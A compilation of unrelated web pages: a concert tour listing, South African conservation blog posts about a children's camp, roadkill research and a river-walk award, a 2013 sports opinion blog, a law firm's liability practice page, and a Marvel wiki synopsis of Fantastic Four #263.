3/11 — Grand Rapids, MI — 20 Monroe Live [Tickets]
3/13 — Philadelphia, PA — Franklin Music Hall [Tickets]
3/14 — Silver Spring, MD — Fillmore [Tickets]
3/15 — Raleigh, NC — Ritz [Tickets]
3/17 — Atlanta, GA — Tabernacle [Tickets]
3/18 — Orlando, FL — House of Blues [Tickets]
3/20 — Dallas, TX — Southside Ballroom [Tickets]
3/21 — Houston, TX — House of Blues [Tickets]
3/21 — San Antonio, TX — Vibes [Tickets]
3/23 — Tempe, AZ — The Marquee [Tickets]
3/24 — Los Angeles — The Wiltern [Tickets]
3/25 — Riverside, CA — Municipal Auditorium [Tickets]
3/26 — San Francisco, CA — Warfield [Tickets]
3/28 — Seattle, WA — Showbox Sodo [Tickets]
3/29 — Boise, ID — Revolution [Tickets]
3/31 — Salt Lake City, UT — Complex [Tickets]
4/1 — Denver, CO — Fillmore [Tickets]
4/3 — Minneapolis, MN — Fillmore [Tickets]
4/4 — Chicago, IL — Radius [Tickets]
4/5 — Detroit, MI — Fillmore [Tickets]
4/6 — Toronto, ON — Rebel [Tickets]
4/8 — Montreal, QC — MTelus [Tickets]
4/10 — Portland, ME — State Theatre [Tickets]
4/11 — New York, NY — Terminal 5 [Tickets]
4/12 — Boston, MA — House of Blues [Tickets]
Daniel's Top 15 Albums of 2019
Chris Best Live Heavy Performances and Photos of 2019
Drew's Top 10 Albums of 2019
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Tag Archives: conservation
Forest, Fireflies and Camping
Written by Janine Smith, Chairlady of the Midlands Conservancies Forum and Regional Secretary for the Ezemvelo KZN Wildlife Honorary Officers.
Sixteen kids aged between 3.5 years and 11 years old spent two wonderfully exciting days at Bushwillow Caravan Park in the Karkloof, accompanied by parents and grandparent.
This is thanks to the founders John and Linnet Crow, and Twané Clarke whose dream to give kids in the area the opportunity to learn to love and enjoy the outdoors has become a reality as a result of their hard work and dedication to KRANES club. KRANES is a joint project between the Karkloof Conservancy and the Ezemvelo KZN Wildlife Lions River Honorary Officers, and this partnership has proven to be invaluable over the 2 years that this club has been running.
This weekend was the first camp out for the club. On Saturday morning, 3 December 2017, excitement filled the air at the caravan park as kids began their weekend of camping and fellowship with other similarly minded children. There were rules that were set. The first was that kids were to assist in setting up the tents.
It was amazing to see all of them knocking pegs into the ground with mallets and running hither and thither taking camping gear out of vehicles, whilst all the time keeping their eyes on the dam, which promised so much fun, but they had a job to do and got on with it.
Finally the beckoning dam was “in bounds” for these hard workers. Next rule, children had to wear life jackets and be accompanied by an adult if they were on the edge or in the dam. A rush to find the life jackets and fishing rods to catch that big one followed, with John teaching them a few basics. Bread was the preferred bait and it certainly was the right choice. Fish of all sizes were caught in abundance. The rods, with the fish on the hook, were hurriedly brought up the bank for all the parents to admire, then dash back to the dam to release the fish (only to be caught again later). The kids had great fun and the fish were well fed. Then they all jumped into the water and had an absolute ball until 14h00 when they were called to the clubhouse for orientation and forest rules were explained and discussed.
Twané sat all the kids in a circle and asked each one to choose an animal beginning with the same letter of the alphabet that their names began with and to share what they loved most about nature and the outdoors. Listening to their explanations of why they loved being in nature was an eye opener, replies ranged from enjoying seeing the flowers in the veld, to sightings and identification of birds, insects and mammals. Ethan Gillings, who is 3.5 years old, said he loved Reedbuck because when they pooed in his yard he collected the droppings to put in the garden, but he didn’t like it when Zebra came and used their garden as a toilet because that was not such nice poo.
Then it was time for the family scavenger hunt, which was lead by Linnet. Each family was given a map of the park and had to find and retrieve various articles from the forest, grasslands and dams. This clever idea was for everyone to become aware of the surrounding area. The kids also learnt to read a map and keep their eyes open whilst walking. When everyone returned to the camp site, the dam called again and a great afternoon of swimming, canoeing and fishing followed.
That evening the kids each helped to make a braai fire safely. This was a highlight as they were even allowed to light the fire themselves.
They were given dough which they put onto a stick (stokbrood) and cooked over the fire. Patience waiting for the dough to cook was put to the test. Then the best of all, syrup was poured into the hole made by the stick.
After everyone had eaten, the campsite looked like a Christmas tree with all the torches dashing around as kids went searching for fireflies and frogs followed by some quiet time and stargazing.
Tired kids and parents had an early night.
Dawn on Sunday beckoned everyone to the dam and once again this body of water became a hive of activity, after kids were chameleons and trees during the sunrise forest yoga.
After a relaxed breakfast, the kids were lead on a forest walk by Linnet and Twané. Twané had explained to the children the difference between a forest and a plantation, so off they went into the indigenous mistbelt forest to look and learn. At about midday the trekkers returned looking fulfilled and tired. Another quick swim in the dam before it was time to pack up camp. Each family left armed with a booklet “My Forest Experience” that the team had put together which included different types of forests, a forest code (leave nothing but footprints), why our forests need to be protected, critters that can be found in forests, signs of the forest (spoor to look out for) and so much more.
Well done to the KRANES team. It was amazing to see kids playing and learning together in nature. No one missed TV or cell phones and the children were taught responsibility and self-discipline. Keep up the good work and thanks for the many hours that you put into these children’s lives. You are helping to foster a generation of conservationists.
The kids found a Yellow-striped Reed Frog amongst the reeds in the dam.
For more information about KRANES and to sign your children up to the mailing list, please visit the Karkloof Conservancy website or email us: karkloofconservation.org.za / info@karkloofconservation.org.za
This entry was posted in Environmental Learning and tagged camping, conservation, environmental education, ezemvelo kzn wildlife, fishing, forest, forest ecology, honorary officers, karkloof, kids club, KRANES, mistbelt forest on December 9, 2016 by Midlands Conservancies Forum.
Making Sense of Roadkill
Roadkill is a widespread issue. Wendy Collinson of the Endangered Wildlife Trust shares some interesting information discovered by the EWT’s roadkill research team in the Pilanesberg National Park. Well done to all involved.
STRONG DATA FROM LATEST ROADKILL SURVEY
Surveys of wild animals killed by passing traffic (roadkill) have produced strong data and several recommendations. This is according to Bridgestone, which sponsored the Endangered Wildlife Trust’s (EWT) recent investigations into the issue of roadkill in the Pilanesberg National Park.
The surveys, conducted by the EWT between 21 October and 23 November 2014, consisted of on-site investigation of roadkill as well as questionnaires completed by 302 visitors to the park. Of the 120 roadkill observed by the roadkill research team, 62 were amphibians, 27 were reptiles, 20 were birds, ten were mammals and one was not identifiable.
Vehicle numbers were monitored by the use of traffic counting devices. However, the roadkill research team soon discovered that elephants had taken a liking to the devices and damaged them. Drawing on previous research which has shown that elephants dislike the smell of chilli pepper, the team then applied a daily coating of chilli pepper and oil onto the counters. The traffic counting devices were then protected from further damage.
One of the most interesting aspects of the project was the role of speed in contributing to roadkill. “More than 95% of respondents to the questionnaire survey believe that speed is the sole cause of roadkill. Our aim was to investigate this issue in more detail,” said the EWT’s Wildlife and Roads Project Executant, Wendy Collinson.
Compliance with park speed limits was found to be reasonably high, with 72% of the 6,981 vehicles monitored driving at or below the speed limits. “We postulated that roadkills were likely to occur because drivers were either unaware of their surroundings or travelling too fast to be able to avoid collisions. To investigate these factors we monitored a sample of 201 vehicles and nearly 70% of the drivers were observed to not be looking at the road, but rather scanning the bush for wildlife”, said Collinson. “This suggests that many roadkills in national parks happen because of the expectation that animals are to be found in the habitat alongside the road, rather than on the road itself”, she added.
The same sample of vehicles was used to investigate the role of speed in determining rates of roadkill. The research team placed three fake animals on the road, and recorded how many times each roadkill was hit (for a total possible hit count of 603 roadkill). We also recorded how fast each vehicle was driving, assigning them to three speed categories of <20km/hr, 21-40km/hr and >40km/hr. We found no significant difference between hit rates of drivers in each of the speed categories, with approximately 50% of drivers hitting the fake roadkill across the board.
“From our survey, it seems that observation levels of the driver, rather than the speed of the vehicle, is the key factor in preventing roadkills,” Collinson commented. “One of our recommendations from the latest roadkill survey is that a driver awareness campaign be launched in parks to make drivers more aware of animals on the roads themselves,” Collinson commented.
Collinson also said she was concerned about the low awareness levels of roadkills among park visitors. “Of the 284 respondents who had visited a park previously, only 2.8% had noticed roadkill, with 6.3% noticing a roadkill on their current visit,” she explained.
Steven Dell, Pilanesberg National Park’s Field Ecologist remarked, “despite the use of road signs both at the park gates and within the park as well as efforts to raise public awareness of roadkill, roadkill still occurs. This project was extremely beneficial to the park as it has assisted in identifying the cause for roadkill and will enable us to focus our future public awareness efforts.”
Bridgestone PR Manager, Desirée van Niekerk, said the results of the latest roadkill survey had proved as fascinating as ever. “Bridgestone has been involved with the roadkill project for three years now, and we applaud Wendy and her team’s contribution to both road safety and wildlife protection,” she said. “We hope these latest findings will soon be used to improve the quality of the experience of park visitors and safeguard the animals in these protected areas,” she concluded.
The next stage of the project will shortly commence in Addo Elephant National Park.
The EWT’s Wildlife and Roads Project in Pilanesberg was supported by Bridgestone SA, Arrow Bulk Logistics, Pilanesberg National Park, Copenhagen Zoo, Mikros Traffic Monitoring and Africa:Live.
For further information please contact Wendy Collinson on wendyc@ewt.org.za
This entry was posted in Environmental Issue and tagged conservation, ecology, endangered wildlife trust, research, Roadkill on April 24, 2015 by Midlands Conservancies Forum.
River Walk wins WESSA Award
Penny Rees and the Mayday for Rivers team have been awarded WESSA KZN Conservationists of the Year 2012. During May 2012, the team of five and a small camera crew walked 311 kms from the source of the Mngeni River at uMngeni vlei all the way to Blue Lagoon where it empties into the ocean.
Judy Bell, on behalf of Winterskloof Conservancy and Midlands Conservancies Forum, nominated the team for this award saying: “Most of us fear to dream so big, let alone work to realise the dreams to do more for the environment, but Penny did so courageously. Her dream was to raise awareness of the plight of our “working rivers” in KZN, focusing on KZN’s Mngeni River, from source to sea. Penny inspired many by doing this walk – some walked with her, others did their own walks in their own areas and many more learnt about the plight of our rivers from their blog – the photos helped armchair enthusiasts share in the trials and tribulations of the walking team. Many learnt about DUCT and the incredibly worthwhile work they do for the first time. The awareness they have raised has been invaluable to all those doing their bit to improve our planet’s ecosystems. She has done us all proud.”
These awards enable the KZN Region of WESSA to recognise the individuals or organisations that have made a significant contribution to Conservation and Environmental Education. The team including Pandora Long, Penelope Malinga, Preven Chetty and Mike Farley was honoured at the WESSA Annual Meeting on Saturday 24 November. “It really was a magnificent team effort” said Penny accepting the Award from Pieter Burger – Chairman WESSA KZN, “It would never have happened with out the rest of the walking team, each with different skills and knowledge. The back up team behind the scenes was just amazing too, and played a huge part in the success of the walk.”
There can be no doubt that Penny’s commitment to our water resources is passionate and, impressively, much of her effort to protect them is voluntary. Since finishing the walk, she has spent many hours downloading data and writing a comprehensive report which includes 26 mini-sass scores, all the negative impacts observed along the way (from invasive vegetation to erosion, poor farming practices and pollution) and also makes suggestions about possible tourist trails along the river banks. Penny says “After walking for 28 days and hundreds of kilometres, putting together a report on all our observations was a far more daunting than the walk itself!” adding “It has become clear to me that the majority of the negative impacts seen along the river are in contravention of South African laws. If these laws were enforced, most of the impacts would not occur and our rivers would be in a far better condition.”
The Mayday for Rivers team has a dream of clean, clear running rivers. Of a world where everyone understands how essential rivers are for all life on our planet. Since the walk, they have all been working in different fields to ensure that their dream does not die. Follow their inspiring stories at www.umngeniriverwalk.wordpress.com
Andrew Anderson, Chair of the Midlands Conservancies Forum comments “I salute this team of uMngeni Champions. Thank you for showing us that this river is not only about the ‘science’ of a healthy river system but equally importantly it is about the people and communities that live along its course from source to sea. Thank you for the encouragement your bold project is having in urging me to take up the challenge to protect it AND through the efforts of organizations such as DUCT, Dargle Conservancy, the Midlands Conservancies Forum and the KZN Conservancies Association to find ways of engaging with government, on behalf of the millions of people who are indirectly dependent on the uMgeni, to support landowners in conserving and managing its integrity.”
This entry was posted in Uncategorized and tagged award, conservation, water on November 24, 2012 by Midlands Conservancies Forum.
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mikenabors@gmail.com
www.mikenabors.com
Naborhood Blog
TV Reels
RISERS & FALLERS, FAVORITE JORDAN MEMORY, GRONK, THE FIRST NOEL & MOVIE CONFESSIONS
Wow, what a slow week in sports. Its kind of the calm before the sporting storm though—pitchers and catchers are reporting, March Madness is in the on deck circle and the NFL Combine (for those that care) is around the corner which leaves us with a sporting pulse which is below the normal heart rate. It got so bad this week with the remote control that I had to settle for the Westminster Dog Show and at my lowest moment—reruns of the Battle of the Network Stars on ESPN Classic. My personal highlight —how about Willie Aames and Greg Harrison going mano a mano on the obstacle course with Billy Crystal and Howard Cosell on the call—gotta kick it ole school every once in a while?!
With that said this week got me thinking on how much has happened the past year. Its amazing how many stars can rise, fall and come out of nowhere in the span of 365 days. Its what makes following the games and the stars so intriguing and at times puzzling and perplexing. With that said, let’s use this subpar week in sports to spotlight the risers and fallers from the past year—-among other topics….
RISERS:
JOE FLACCO: A year ago the Ravens QB was tagged an average Joe. A QB who was good enough to get you to the playoffs and maybe one win but never the Elite QB who would take you to the Super Bowl and win it. A year later Average Joe turned into Joe Cool tying the Ultimate Joe, Joe Montana for being the most efficient NFL QB of any postseason. Flacco is clutch and quite bold turning down a mega extension before the season to roll the dice with the hopes he would have a great season and create more leverage—Mission Accomplished.
JOHNNY FOOTBALL: Raise your hand if last February you heard of this guy? Don’t worry you are hardly alone. The Heisman Trophy winner became the 1st Freshman to bring home the award and he did it in the SEC with a signature win against eventual National Champion Alabama. I saw his Exclamation Point performance in the Cotton Bowl against Oklahoma—its scary how good he will be in the coming years where Archie Griffin’s claim to be the only two time Heisman winner is in jeopardy.
WILL MUSCHAMP: A year ago most Florida fans I talked to were concerned about the future of the program and its football coach who couldn’t seem to keep it together on the sidelines.Who would have predicted this time last year that the Gators would be coming off a season where they beat LSU and South Carolina at home and dominated FSU on the road to finish 11-2 and 7-1 in the SEC. Sure they had a Sugar stinker against Louisville but Muschamp continues to be the best recruiter in the state of Florida the past two years and one of the best in the country. His QB Jeff Driskel should only get better and his program is not only more tougher than a year ago but much more stable than the Urban Meyer years.
NOTRE DAME: Like Florida, they didnt finish strong and I’m not talking about Manti Te’0’s tweets. Its amazing how far this program has come in only a year where they turned in its best season since 1988. Brian Kelly certainly did what nobody since Lou Holtz has done–make the Irish relevant again. Notre Dame was overhyped and overexposed for decades and while they are clearly behind when it comes to big boy SEC football—they made quite a jump in a year.
LEBRON JAMES: A year ago he was the whipping boy for every media outlet, a year later he’s a champion and dare we say back in the conversation of being as good or better than Jordan. A year ago he was chastised for not wanting to take the big shots, not being a leader and for not living up to his potential. No athlete has flipped the switch in a year’s span more so than King James who is playing on a level this season like no one has seen since His Airness—the scary thing he still only 28 years old.
KATHERINE WEBB: A year ago she was hoping to be Miss America but then in one sentence Brent Musberger threw her life a change up. The girlfriend of Alabama QB A.J. McCarron was singled out by Musberger in the BCS National Championship game for her looks and was lampooned–Webb subsequently was then larger than life. Since then Webb has acquired over 200,00 Twitter followers, an appearance on the Today show and pictures in the SI Swimsuit issue. Folks–only in America!
TIM TEBOW: A year ago Tebow Mania and Tebowing were the rage. A year later…..crickets. You have to wonder at this point is his NFL career over unless he wants to play Tight End or Fullback? I still don’t understand the free fall. He led the Broncos as far as Peyton Manning did this season and wasn’t given a chance by the Jets. But the league seems disinterested, even the hometown Jaguars who were interested a year ago, now are turning the other cheek. From a playoff victory against the Pittsburgh Steelers to a possible football future North of the Border??? The last 12 months have not been kind.
LINSANITY: He’s still in the NBA, he is still a starter but Jeremy Lin has now dribbled back to the status quo. A year ago he was the Biggest Star in the Big Apple, a year later he is in Houston where you hardly here a peep. The good news for Jeremy, he’s making much more money than a year ago but the headlines are history where the former Ivy Leaguer is a mere mortal these days. Interesting though–Lin is averaging 12.6 a game this year compared to 14.6 a year ago with the Knicks—not a big difference except for the hype.
LANE KIFFIN: The coach many love to hate has many of his haters all smiles these days. A year ago he had his QB Matt Barkley stiff arm the NFL Draft and return for his senior season. He had quite a complementary cast coming back on both sides of the football–so talented that his Trojans would be preseason Number One. A year later, Kiffin is coming off a 7-6 season where USC lost 5 of its last 6 games including an embarrassing yes, Sun Bowl loss to a Georgia Tech team that had no business being in a Bowl Game. These days Kiffin is losing recruits, his Dad Monte as Defensive Coordinator and getting the dreaded vote of confidence from his Athletic Director Pat Haden…..a year from now he could very well be out of work in not sooner.
JORDAN STILL RULES: Wanna feel old—Michael Jordan turns 50 this week? He’s been retired for 10 years and the man with the iconic shoes still hasn’t had anybody fill them yet. Lebron is a better athlete, Kobe may possess the same killer instincts but in crunch time I still want Air Jordan to take the last shot for my team. I dealt with Jordan a few times over the years and never had a problem with him. My favorite memory was when I was waiting to interview him after a game with the Birmingham Barons. While we were waiting his minor league teammates spilled beer in his seat and when he came back he loved it. His teammates loved him back then and it said a lot about the way he carried himself off and on the field–even with guys with a lot less money and prestige. Happy Birthday Mike—I still think you could give us double figures if you suited up this week.
GETTING GRONK?! He hasn’t been arrested and to my knowledge isn’t doing drugs or hurting anybody but himself. Patriots Tight End Rob Gronkowski sure makes plenty of noise off the playing field though. If I’m the Patriots I would prefer him not body slamming his buddies on stage in Vegas but overall I have no problem with it. I think a lot of media critics forget what day and age we live in. I can’t imagine being in my early twenties, single and having millions with TMZ and camera phones everywhere. Joe Namath and Mickey Mantle would have put on similar displays back in the day. I saw a kid at the Super Bowl ask Gronk to donate to his school’s charity and without hesitation gave him a 100 dollar bill—sure he’s a Meathead but a harmless one.
THE FIRST NOEL? You wonder the future of Kentucky ‘s forward Nerlens Noel as the Number One pick in this year’s NBA Draft. Tough to watch him get hurt against the Gators where he tore the ACL in his left knee. He is out of the season but is easily the best prospect in the 2013 class, so he still may go Number one. Adrian Peterson’s comeback puts pressure on every athlete and this whole situation makes you wonder how long the NBA’s one and done rule can last. It also makes you appreciate how long we get to enjoy college football stars like Jadeveon Clowney who would easily be the top pick in this year’s NFL draft but has another mandated year at South Carolina. I think two years is enough for both sports—enough time to prep to be a pro and enough time for school’s to have them contribute to the program.
NOBODY ASKED ME BUT…. OK admit it every one of us has a movie out there that they for some reason or other haven’t seen. Despite its overwhelming popularity, you either haven’t made it a priority, thought it might not be that good or just have procrastinated. My movie is Die Hard—it came out in 1988 and it took me 25 years to see it as I checked it out this week. I thought it was great and look forward to watching its sequels. Now my buddies can get off my back—I would be interested in hearing what movie you have avoided—we all have one? Next on my list the Bourne Identity series.
EXTRA POINT: Why do people ask me if they can take my grocery cart to the car? Am I getting that old??????
UNTIL NEXT BLOG,
Previous post: SIGNING DAY, SUPER LEFTOVERS, HOWARD’S HIJINKS & THE FUNNIEST POLITICIAN
Next post: NFL COMBINE SUGGESTIONS—EXCHANGE STUDENTS, BELIEVE IT OR NOT, DAYTONA DANICA & OSCARS SUGGESTIONS
Mike blogs for several networks around the country but on this site gives you his thoughts on sports and entertainment.
REMEMBERING CARLEY, MR ROGERS, NFL LISTS, JAMEIS & BURROW'S SPEECH
THIS OLE DESK, LSU LESSONS, DAMON & BALE, POPEYES, INVENTIONS & BEST AUNT
HAPPY "HOLLOWEEN", TOP CANDY, FOOTBALL GHOSTS, JEFF BEZOS, AQUAMAN & ALTUVE
SO LONG VOICEMAILS?? "THE AB RULE", WOODY HARRELSON, MARTY SMITH & BOTTLED WATER
FOOTBALL COUNTDOWNS, FRIEND ZONES, OPERA KICKER & 9021..OH?! & FEARLESS FORECAST
Copyright © 2020 Mike Nabors | 813-477-6789
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Analytics & Outcomes
Practice Articles
< Back to Practices
The General Liability Practice Group of Marshall Dennehey regularly defends insureds, insurance companies and self-insured entities.
The general liability practice area includes such diverse types of defense litigation as:
Owners and contractors protective liability
Owners, landlords and tenants coverage
Bailor/bailee
Advertising injuries
Elevator incidents
Malicious prosecution cases
First-party and third-party property damage cases
Fire legal liability litigation
We understand that every client is concerned with the extent of legal fees and costs incurred. Savings are achieved in a number of ways. With offices situated within a six-state region, we are able to provide our clients with defense attorneys who are close to and very familiar with the litigation forum. Secondly, we are cognizant of the need to deliver legal services in a prompt and efficient manner, coupled with considerable emphasis on being results-oriented.
We would welcome the opportunity to work with you in handling your general liability litigation and we are available to give presentations or conduct training seminars on general liability topics. We are also on the cutting edge of alternative fee arrangements in order to provide our clients with the highest level of services in the most cost-efficient and predictable manner possible.
Howard P. Dwoskin, Chair
Contact Practice Lead
Matthew S. Schorr, Co-chair
PA Supreme Court waives Sovereign Immunity Act, leaving PennDOT vulnerable for future litigation.
The plaintiffs alleged negligence against PennDOT following a motor vehicle accident where they lost control of their vehicle on snow and ice and collided with a guardrail that pierced the side of the vehicle, resulting in injuries to Mrs. Cagey. Case Law Alerts, 1st Quarter, January 2019
I’ve Been Served With a Writ of Summons. Now What?
Defense Digest, Vol. 24, No. 4, December 2018 By Patricia A. Monahan, Esq.* Key Points: Defense Digest, Vol. 24, No. 4, December 2018. Defense Digest is prepared by Marshall Dennehey Warner Coleman & Goggin to provide information on recent legal developments of interest to our readers.
Pennsylvania’s Relaxed Standard for Proving Intoxication in Civil Cases
Defense Digest, Vol. 24, No. 4, December 2018 By John F. Deasy, Esq.* Key Points: Defense Digest, Vol. 24, No. 4, December 2018. Defense Digest is prepared by Marshall Dennehey Warner Coleman & Goggin to provide information on recent legal developments of interest to our readers.
To Foresee or Not to Foresee?
‘Open House’ of Horrors? Analyzing the Broker’s ‘Broken Step’ Obligation
Successful Defense of Snow and Ice Slip-and-Fall Claim
Obtained a defense verdict on behalf of a homeowners association and its management company in a jury trial in Bucks County, Pennsylvania. The plaintiff claimed she fell on ice and snow in a common area in a residential community where she lived. The plaintiff suffered sacral fractures and a foot fracture and underwent surgery to remove sacral Tarlov Cysts, which she claimed were asymptomatic prior to the fall.
Dog Bite Claim Has No Teeth
Obtained summary judgment and case dismissal in a dog bite injury case. While trespassing on a property owned by our commercial real estate company client, the plaintiff alleged he was injured when bitten by another trespasser's dog. The dog's owner was a co-defendant in the case.
No Cause for Slip and Fall Claim
Won a defense verdict on behalf of a land management firm and its managing agent following a six-day jury trial in the Superior Court of New Jersey. The plaintiff alleged a slip and fall accident on snow and ice at the defendant's commercial property.
Defense Melts Snowmobiler's Case
Obtained a defense verdict in a premises liability action that was brought directly against an international energy company conducting significant work in the Marcellus Shale region of Pennsylvania. The plaintiff alleged that, while she was a passenger on a snowmobile, the snowmobile hit a drainage ditch recently dug to accommodate a new access road for the energy company to access a well pad and that she was ejected, sustaining multiple fractures in her back.
Contractor's Fall Not Homeowner's Fault
Obtained summary judgment on behalf of a homeowner in a case pending in Mason County, Kentucky. The plaintiff was an independent contractor hired to trim trees on the defendant's property. He sustained severe and debilitating injuries after falling over 30 feet from an extension ladder, including multiple back fractures and has incomplete right T11, left T12, and incomplete L3 motor paraplegia due to his fall. Further, his doctors opined that he would be wheelchair bound and have a permanent total disability from work for the remainder of his life.
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© 2020 Marshall Dennehey Warner Coleman & Goggin, P.C.
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Copper-Age
Fantastic Four Vol 1
Jim Shooter/Editor-in-Chief
John Byrne/Cover Artist
John Byrne/Writer
John Byrne/Penciler
John Byrne/Inker
Glynis Oliver-Wein/Colourist
Jim Novak/Letterer
Bob Budiansky/Editor
Michael Higgins/Editor
Bob Budiansky/Writer
Typeset/Letterer
Benjamin Grimm (Earth-616)/Quotes
Fantastic Four (Earth-616)/Appearances
Reed Richards (Earth-616)/Appearances
Susan Storm (Earth-616)/Appearances
Benjamin Grimm (Earth-616)/Appearances
Jonathan Storm (Earth-616)/Appearances
Franklin Richards (Earth-616)/Appearances
Juliette D'Angelo (Earth-616)/Appearances
Alden Maas (Earth-616)/Appearances
Vision (Earth-616)/Appearances
Harvey Elder (Earth-616)/Appearances
Connecticut/Appearances
Belle Porte/Appearances
Manhattan/Appearances
Avengers Mansion/Appearances
Baxter Building/Appearances
California/Appearances
Subterranea/Appearances
Fantasti-Car MK I (Flying Bathtub)/Appearances
Fantasti-Car MK II/Appearances
Fantastic Four Vol 1 263
Revision as of 00:42, January 5, 2019 by Shadzane (wall | contribs)
Fantastic Four Vol 1 #263
"R and R"
Glynis Wein
Jim Novak
Bob Budiansky
Michael Higgins
"Fantastic Four Fan Page"
Fantastic Four #262
I wanna see th' big boss, an' no guff!
-- Thing
Appearing in "R and R"
Invisible Girl
Franklin Richards
Julie D'Anglelo
Alden Mass
(First appearance)
Belle Porte
Avengers Mansion
Wonderworld,
Project Worldcore
Fantasti-Car MK I (Flying Bathtub)
Fantasti-Car MK II
Synopsis for "R and R"
Reed and Sue Richards have just moved into their new home in Belle Prirte, Connecticut where they hope to provide Franklin with a stable family home, disguised as the Benjamin family in order to maintain their privacy. This morning Sue is trying to paint the kitchen when Reed walks in on his way out to work. He is concerned that she is doing such work now that she is visibly pregnant, but she shows him that she has it under control when a paint bucket spills over and she manages to catch the falling paint in an invisible force field. Convinced that everything is fine, Reed refreshes young Franklin on why they need to keep their identities secret before using his stretching powers to alter the appearance of his face before heading out to work. "Reed Benjamin" then takes the city bus to a storage warehouse where he keeps the Fantasti-Car stored. He then flies it to the Baxter Building in Manhattan where he changes into his alter-ego of Mister Fantastic. When he arrives he decides to check in on the android Avenger known as the Vision to see how his recovery is going. Reed is happy to hear that while the Vision's body is still inactive, his mind is alive and well and controlling the mansions computer systems. After the briefing, the Vision cuts their conversation short to attend to other business. Reed finds the Vision's behavior somewhat odd, but his attention is taken away from this concern when the building's scanners begin to detect something.
Meanwhile at the Wonderworld Amusement Park in California, Johnny has been invited to participate in a special racecar competition where the drivers have to keep their identities a secret to the general public. Joining him is the Thing, and the two soon discover that their long time friend Julie Angel is in California as well. Julie explains to Johnny that she came here along with Grey Landers who had an acting job lined up. When this failed to pan out, Julie decided to stay where she became a magazine model, which landed her the gig as a bikini model for the racing gig. With the race about to begin, Julie kisses Johnny to wish him luck, much to Johnny's dismay as he had just gotten over his interest in Julie Angel. When the race begins, Johnny's Formula-1 racer manages to get ahead of the pack and zips into a tunnel on the race track. When the car emerges on the other side one of the tires suddenly bursts causing the car to crash in a fiery explosion. Ben rushes to the wreckage to did Johnny out but is shocked when he finds that the body within the wreck is burned beyond recognition. Later as paramedics are treating the Thing's hands for burns and collect that apparent corpse of Johnny, Ben finds it hard to believe considering the fact that the Human Torch is immune to fire, and recalls how Johnny has previously melted through fighter planes without any harm caused. But the crew is adamant about the end result: Johnny Storm is dead. When Julie expresses her condolences to Ben, the Thing tells her that he finds the entire accident highly suspect and asks more about who runs Wonderworld. She tells Ben that it is owned and operated by a man named Alden Maas, a recluse who has hidden himself from the public eye for over fifteen years. Ben decides that its time that Maas takes company.
Soon, Ben is flying his own Fantasti-Car to the massive star shaped island off the California coast that is home to Alden Maas. When he arrives he is greeted by three suited men who inform him that Aladen is waiting for him and granted the Thing an audience. When Ben is in a waiting room he is suddenly greeted by a hologram of a young woman who begins telling him about something called Project: Worldcore. The Project, the hologram girl explains, is based on Alden Maas' opinion that the Earth has gone through a continental shift not because of the established science, but because of something even more fantastic: the Earth is actually expanding from within. She goes on to explain that it is believed that this expansion will cause the Earth to begin to cool and contract and ultimately entire continents will be forced together. The purpose of Project: Worldcore is to reignite the Earth's core so that the planet can continue to expand to suit the needs of an ever growing population. The hologram then shows Ben the source of this heat: Johnny who is strapped to a machine that painfully forces him to flame on at full power, shooting his flames deep into the core of the Earth.
Before Ben can smash through the screen, he is interrupted by Alden Maas, who tells Ben that Johnny is needed to save the Earth. When the Thing contents that this constant force of Johnny's powers could eventually kill him, Maas does not seem to care, more concerned with preventing his perceived catastrophe so that he can be seen as a messiah who saved the human race. Unwilling to let Maas get away with his mad scheme, the Thing smashes through what he thinks is glass separating him from Johnny, but it turns out to be nothing more than a television screen. On the other side is a deep tunnel, which Ben then plummets deep into. Landing deep under the Earth, the Thing tries to recover from his fall when he is suddenly struck with a stunning blow issued by the Fantastic Four's oldest foe: The Mole Man. Believing that the Thing is responsible for the danger to his underworld domain, the Mole Man vows to destroy the Thing and his allies.
Appearing in "Fantastic Four Fan Page"
Appearances not yet listed
Synopsis for "Fantastic Four Fan Page"
Features information on "Sue's Coiffure Contest" with two distinctive styles.
Continuity Notes
The members of the Fantastic Four and their family were last seen in the following publications:
Reed was last seen in Incredible Hulk #292 where he allowed Bruce Banner to make use of his lab while Banner was visiting New York.
Sue and Johnny were last seen in Moon Knight #25 where they attended a play with the rest of the team that was clashed by Bora.
The Thing was last seen in the Thing #8-9 where he was possessed by the spirit of an Egyptian Pharaoh.
Franklin was last seen in the flashback from Deadpool #35 where he and the Thing encountered the mercenary known as Deadpool and a new incarnation of the Frightful Four.
Reed and Sue are now living in Belle Porte, Connetecruit starting this issue. This was a means of providing a stable family home for Franklin, a decision they made in Fantastic Four #257. They purchased the home after the events of Fantastic Four #259. There were a number of Factors that played in this decision:
Primarily the purpose was to give Franklin a safe environment to live. This was following a time when Franklin was tortured by the Negative Zone ruler Annihilus in Fantastic Four #251-256 which led to Franklin being hospitalized for a period of time.
Sue discovered that she was pregnant in Fantastic Four #257, this second child was conceived in Fantastic Four #254 while the Fantastic Four were exploring the Negative Zone. The reason why Sue's pregnancy is so far along by this story is because -- as explained in Fantastic Four #251 -- is that time moves faster in the Negative Zone. While the FF were gone from Earth for mere hours, months of time had passed in the Negative Zone. Sue's pregnancy comes to term in Fantastic Four #267.
The Vision's body is inert here after he attempted to breach a null-barrier put around the Baxter Building by Annihilus in Avengers #233. The Vision's mind reactivated in Avengers #238. Reed's concerns are valid as the Vision later tries to take over the world's computers in Avengers #254.
Reed's scanners are detecting the presence of the Beyonder, an omnipotent god-like being who later kidnaps various heroes and villains from Earth to pit them against each other in the original Secret Wars as depicted in Marvel Super Heroes Secret Wars #1-12. Reed, Ben and Johnny are kidnapped by the Beyonder in Thing #10.
Julie Angel was last seen in Fantastic Four Annual #17 when she got the Fantastic Four to assist in rescuing her friend Sharon Selleck from the Skrull DNA infected people of King's Crossing.
Julie mentions Grey Landers, a fellow actor that Julie became interest in Fantastic Four #251 and began dating in Fantastic Four Annual #17. This is the last mention of Grey, and he is never seen again.
Johnny mentions "just getting over" Julie Angel. Some facts about that:
Johnny used to date Julie's former roommate Frankie Raye on-and-off between Fantastic Four #164-207 and 234-244 when she agreed to become a herald of Galactus.
Johnny became interest in Julie in Fantastic Four #251 and has been oblivious to her interest in Grey Landers. Johnny's attempt to date Julie was waylaid by a trip into the Negative Zone from FF #251-256.
The Thing's recollection of Johnny being able to melt through fighter jets was a recollection of events that occurred in Fantastic Four #1, although Johnny has demonstrated this ability countless times since then.
The Mole Man was last seen in Marvel Treasury Edition #25 where he and Kala attempted a mock Olympics involving various Olympian athletes, their Outcasts as well as Spider-Man and the Hulk.
